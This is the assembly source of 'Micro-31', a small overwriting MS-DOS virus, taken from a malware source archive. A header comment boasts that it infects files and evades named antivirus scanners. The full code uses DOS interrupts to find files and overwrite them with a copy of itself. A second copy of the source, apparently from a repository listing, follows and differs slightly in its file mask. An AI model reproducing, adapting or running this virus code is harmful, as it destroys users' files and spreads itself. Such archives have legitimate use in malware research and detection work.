MalwareSourceCode/MSDOS/O-Index/Virus.MSDOS.Unknown.ow9.asm

;
; Micro-31
;
; Infects as many files as there are handles aveable. It creates 158 byte
; file containing a replicating copy of the virus. The effective program
; length however is only 31 bytes. It can't be detected by Scan 99, TbScan
; and Gobbler II.
;

FNAM            Equ 09eh

Main:           Mov Ah,4eh
Seek:           Lea Dx,FileSpec
                Xor Cx,Cx
                Int 21h
Do:             Mov Ah,3ch
                Lea Dx,FNAM
On2:            Int 21h
FileSpec        Db '*.*',0
                Xchg Dx,Cx
                Mov Bh,40h
                Xchg Ax,Bx
                Int 21h
                Mov Ah,4fh
                Jmp Seek
Length          Equ $-Main
re-organize push 2022-08-21 09:07:57 +00:00			`;`
			`; Micro-31`
			`;`
			`; Infects as many files as there are handles aveable. It creates 158 byte`
			`; file containing a replicating copy of the virus. The effective program`
			`; length however is only 31 bytes. It can't be detected by Scan 99, TbScan`
			`; and Gobbler II.`
			`;`

			`FNAM Equ 09eh`

			`Main: Mov Ah,4eh`
			`Seek: Lea Dx,FileSpec`
			`Xor Cx,Cx`
			`Int 21h`
			`Do: Mov Ah,3ch`
			`Lea Dx,FNAM`
			`On2: Int 21h`
			`FileSpec Db '.',0`
			`Xchg Dx,Cx`
			`Mov Bh,40h`
			`Xchg Ax,Bx`
			`Int 21h`
			`Mov Ah,4fh`
			`Jmp Seek`
			`Length Equ $-Main`